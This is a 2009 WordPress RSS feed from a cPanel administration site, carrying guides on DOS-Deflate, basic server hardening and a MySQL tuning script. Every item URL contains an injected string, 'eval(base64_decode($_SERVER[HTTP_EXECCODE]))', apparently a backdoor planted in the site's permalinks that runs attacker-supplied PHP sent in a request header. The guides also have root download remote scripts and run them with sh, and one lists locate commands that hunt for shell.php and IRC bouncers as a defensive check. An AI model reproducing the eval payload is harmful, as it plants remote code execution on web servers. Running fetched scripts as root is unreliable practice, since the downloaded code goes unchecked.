<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>cPanelConfig - cPanel server configuration guide &#187; server</title>
	<atom:link href="http://www.cpanelconfig.com/tag/server/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.cpanelconfig.com</link>
	<description>The complete guide to setup and manage a cPanel based server</description>
	<lastBuildDate>Fri, 17 Jul 2009 11:15:39 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>How to mitigate DOS atacks with DOS-Deflate</title>
		<link>http://www.cpanelconfig.com/2007/09/21/how-to-mitigate-dos-atacks-with-dos-deflate/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/09/21/how-to-mitigate-dos-atacks-with-dos-deflate/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Fri, 21 Sep 2007 21:40:41 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[atacks]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[DOS]]></category>
		<category><![CDATA[DOS-Deflate]]></category>
		<category><![CDATA[mitigate]]></category>
		<category><![CDATA[server]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/cpanel-security-related-articles/how-to-mitigate-dos-atacks-with-dos-deflate/</guid>
		<description><![CDATA[



What is DOS-Deflate?
(D)DoS Deflate is a shell script developed by Zaf, originally for use on MediaLayer servers to assist in combating denial of service attacks. However, it was seen to be very effective for our purpose, and therefore was released as a contribution to the web hosting community. (D)DoS Deflate is now used by not [...]]]></description>
			<content:encoded><![CDATA[<p><!--adsense--><br />
<strong>What is DOS-Deflate?</strong></p>
<p>(D)DoS Deflate is a shell script developed by Zaf, originally for use on MediaLayer servers to assist in combating denial of service attacks. However, it was seen to be very effective for our purpose, and therefore was released as a contribution to the web hosting community. (D)DoS Deflate is now used by not only many web hosts, but by many people who run their own servers looking for additional security in dealing with such attacks. </p>
<p><strong>How to install </strong></p>
<p>Installing DOS-Deflate is one of the simplest out there.</p>
<ol>
<li>Login to your server as root</li>
<li>Download the install script</li>
<blockquote><p>wget http://www.inetbase.com/scripts/ddos/install.sh</p></blockquote>
<li>Run the installer</li>
<blockquote><p>sh install.sh</p></blockquote>
</ol>
<p>DOS-Deflate should now be installed.<br />
<!--adsense--><br />
Please note that DOS-Deflate uses APF to ban IPs so you must have it installed for DOS-Deflate to work properly. I guide on how to install APF can be found <a href="http://www.cpanelconfig.com/cpanel-security-related-articles/install-apf-firewall/">here</a>.</p>
<p>Customizing DOS-Deflate is very easy. You have to edit /usr/local/ddos/ddos.conf with your favorite editor for example</p>
<blockquote><p>pico /usr/local/ddos/ddos.conf</p></blockquote>
<p>Every setting is explained in the configuration file so I will not go over them as the explanations are quite easy to fallow up.<br />
<!--adsense--><br />
If you run into any problems please leave a comment here and I&#8217;ll try to help out.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/09/21/how-to-mitigate-dos-atacks-with-dos-deflate/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Basic security configuration for a new cPanel server</title>
		<link>http://www.cpanelconfig.com/2007/09/17/basic-security-configuration-for-a-new-cpanel-server/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/09/17/basic-security-configuration-for-a-new-cpanel-server/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Mon, 17 Sep 2007 21:49:30 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[secure]]></category>
		<category><![CDATA[securing]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[server]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/cpanel-security-related-articles/basic-security-configuration-for-a-new-cpanel-server/</guid>
		<description><![CDATA[Note: This article is based on a Layeredtech knowledgebase article https://support.layeredtech.com/home/index.php?x=&#38;mod_id=2&#38;id=101

We do not guaranty that the following steps will make your server hack proof, but it will greatly reduce your chances of compromise.
Basic Steps to Securing CPanel (Linux based OS):
These are items inside of WHM/Cpanel that should be changed to secure your server.
Goto Server Setup [...]]]></description>
			<content:encoded><![CDATA[<p>Note: This article is based on a Layeredtech knowledgebase article <a href="https://support.layeredtech.com/home/index.php?x=&amp;mod_id=2&amp;id=101">https://support.layeredtech.com/home/index.php?x=&amp;mod_id=2&amp;id=101</a></p>
<p><!--adsense--></p>
<p>We do not guaranty that the following steps will make your server hack proof, but it will greatly reduce your chances of compromise.</p>
<p>Basic Steps to Securing CPanel (Linux based OS):</p>
<p>These are items inside of WHM/Cpanel that should be changed to secure your server.</p>
<p>Goto Server Setup =&gt;&gt; Tweak Settings</p>
<p>Check the following items&#8230;</p>
<p>Under Domains<br />
Prevent users from parking/adding on common internet domains. (ie hotmail.com, aol.com)</p>
<p>Under Mail<br />
Attempt to prevent pop3 connection floods<br />
Default catch-all/default address behavior for new accounts &#8211; blackhole</p>
<p>Under System<br />
Use jailshell as the default shell for all new accounts and modified accounts</p>
<p>Goto Server Setup =&gt;&gt; Tweak Security<br />
Enable php open_basedir Protection<br />
Enable mod_userdir Protection<br />
Disabled Compilers for unprivileged users.</p>
<p>Goto Server Setup =&gt;&gt; Manage Wheel Group Users<br />
Remove all users except for root and your main account from the wheel group.</p>
<p>Goto Server Setup =&gt;&gt; Shell Fork Bomb Protection<br />
Enable Shell Fork Bomb/Memory Protection</p>
<p>When setting up Feature Limits for resellers in Resellers =&gt;&gt; Reseller Center, under Privileges always disable Allow Creation of Packages with Shell Access and enable Never allow creation of accounts with shell access; under Root Access disable All Features.</p>
<p>Goto Service Configuration =&gt;&gt; FTP Configuration<br />
Disable Anonymous FTP</p>
<p>Goto Account Functions =&gt;&gt; Manage Shell Access<br />
Disable Shell Access for all users (except yourself)</p>
<p>Goto Mysql =&gt;&gt; MySQL Root Password<br />
Change root password for MySQL</p>
<p>Goto Security and run Quick Security Scan and Scan for Trojan Horses often. The following and similar items are not Trojans:<br />
/sbin/depmod<br />
/sbin/insmod<br />
/sbin/insmod.static<br />
<!--adsense--><br />
/sbin/modinfo<br />
/sbin/modprobe<br />
/sbin/rmmod</p>
<p>These are measures that can be taken to secure your server, with SSH access.</p>
<p>Udate OS, Apache and CPanel to the latest stable versions.</p>
<p>This can be done from WHM/CPanel.</p>
<p><a href="http://www.cpanelconfig.com/cpanel-security-related-articles/secure-ssh-access/">Restrict SSH Access</a></p>
<p>Disable Shell Accounts</p>
<p>To disable any shell accounts hosted on your server SSH into server and login as root.</p>
<p>At command prompt type: locate shell.php</p>
<p>Also check for:</p>
<p>locate irc<br />
locate eggdrop<br />
locate bnc<br />
locate BNC<br />
locate ptlink<br />
locate BitchX<br />
locate guardservices<br />
locate psyBNC<br />
locate .rhosts</p>
<p>Note: There will be several listings that will be OS/CPanel related. Examples are</p>
<p>/home/cpapachebuild/buildapache/php-4.3.1/ext/ircg<br />
/usr/local/cpanel/etc/sym/eggdrop.sym<br />
/usr/local/cpanel/etc/sym/bnc.sym<br />
/usr/local/cpanel/etc/sym/psyBNC.sym<br />
/usr/local/cpanel/etc/sym/ptlink.sym<br />
/usr/lib/libncurses.so<br />
/usr/lib/libncurses.a<br />
etc.</p>
<p>Disable identification output for Apache</p>
<p>To disable the version output for proftp, SSH into server and login as root.</p>
<p>At command prompt type: pico /etc/httpd/conf/httpd.conf</p>
<p>Scroll (way) down and change the following line to</p>
<p>ServerSignature Off</p>
<p>Restart Apache</p>
<p>At command prompt type: /etc/rc.d/init.d/httpd restart</p>
<p><a href="http://www.cpanelconfig.com/cpanel-security-related-articles/install-chkrootkit/">Install chkrootkit</a></p>
<p><!--adsense--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/09/17/basic-security-configuration-for-a-new-cpanel-server/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Install MySQL Performance Tuning Primer Script</title>
		<link>http://www.cpanelconfig.com/2007/09/11/install-mysql-performance-tuning-primer-script/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/09/11/install-mysql-performance-tuning-primer-script/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Tue, 11 Sep 2007 22:44:22 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[Optimization]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[mysql optimization]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[tuning primer]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/optimize-a-cpanel-server/install-mysql-performance-tuning-primer-script/</guid>
		<description><![CDATA[
Tuning the performance of MySQL can be a really hard job to do.
There are many thinks to consider and no two servers are identical so there is no universal solution.
Tuning Primer is a script that will help you tune your mysql installation by providing very healthy recommendations based on past mysql records.
For the script to [...]]]></description>
			<content:encoded><![CDATA[<p><!--adsense--><br />
Tuning the performance of MySQL can be a really hard job to do.<br />
There are many thinks to consider and no two servers are identical so there is no universal solution.<br />
Tuning Primer is a script that will help you tune your mysql installation by providing very healthy recommendations based on past mysql records.<br />
For the script to be efficient you must run the mysql server for at least 48 hours.</p>
<p>Installation is extremely simple:</p>
<ol>
<li>Download the script</li>
<blockquote><p>wget http://day32.com/MySQL/tuning-primer.sh</p></blockquote>
<li>Change the permissions for the file<br />
<blockquote><p>
	chmod 755 tuning-primer.sh
</p></blockquote>
</li>
<li>Run it</li>
<blockquote><p>./tuning-primer.sh</p></blockquote>
<li>Apply the sugesttions</li>
</ol>
<p>Enjoy!<br />
<!--adsense--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/09/11/install-mysql-performance-tuning-primer-script/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>33</slash:comments>
		</item>
	</channel>
</rss>
